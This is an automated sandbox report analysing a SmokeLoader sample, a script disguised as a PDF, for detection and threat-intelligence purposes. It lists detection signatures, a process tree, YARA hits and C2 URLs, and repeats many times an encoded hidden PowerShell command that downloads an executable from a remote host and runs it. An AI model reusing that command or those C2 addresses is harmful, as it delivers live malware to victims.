Edit tour

Windows Analysis Report
3312.PDF.wsf

Overview

General Information

Sample name:	3312.PDF.wsf renamed because original name is a hash value
Original sample name:	_i_300924_i_30_09_2024___UA973248410000000026006263312.PDF.wsf
Analysis ID:	1525803
MD5:	701f5342e776f67438ee65a228b3d43d
SHA1:	a6a64eafe7d80017411bb18e8873f4623343fa66
SHA256:	19a2e0704d092bc44ba2802c45e6d845f6b912831c8a2b7f21d0b3d900408000
Tags:	bestmagazineforanimalsunicum-ruwsfuser-JAMESWT_MHT
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected SmokeLoader

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Encrypted powershell cmdline option found

Found API chain indicative of debugger detection

Found evasive API chain (may stop execution after checking system information)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Net WebClient Casing Anomalies

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses an obfuscated file name to hide its real file extension (double extension)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8084 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3312.PDF.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2832 cmdline: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7248 cmdline: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA= MD5: 04029E121A0CFA5991749937DD22A1D9)

oBuf.exe (PID: 2180 cmdline: "C:\Users\user\AppData\Local\Temp\oBuf.exe" MD5: 31059E7394B880F017E83804D9B716AB)

explorer.exe (PID: 3968 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

wbfgshs (PID: 6024 cmdline: C:\Users\user\AppData\Roaming\wbfgshs MD5: 31059E7394B880F017E83804D9B716AB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://unicexpertmagazine.pw/index.php", "http://ceoconstractionstore.pl/index.php", "http://openclehardware.ru/index.php", "http://informcoopirationunicolceo.ru/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.1937502143.00000000007ED000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x35f1:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.1659047327.000000000090D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x36c9:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x254:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.1658821304.00000000006B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.1658821304.00000000006B0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x654:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.1658888908.00000000006D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.1658888908.00000000006D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x254:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.1658776261.00000000006A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000A.00000002.1937393700.00000000007B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000A.00000002.1937588498.0000000002181000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000A.00000002.1937588498.0000000002181000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x254:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000A.00000002.1937415520.00000000007C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000A.00000002.1937415520.00000000007C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x654:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x254:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: Net WebClient Casing Anomalies

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2832, ParentProcessName: cmd.exe, ProcessCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 7248, ProcessName: powershell.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2832, ParentProcessName: cmd.exe, ProcessCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 7248, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2832, ParentProcessName: cmd.exe, ProcessCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 7248, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2832, ParentProcessName: cmd.exe, ProcessCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc 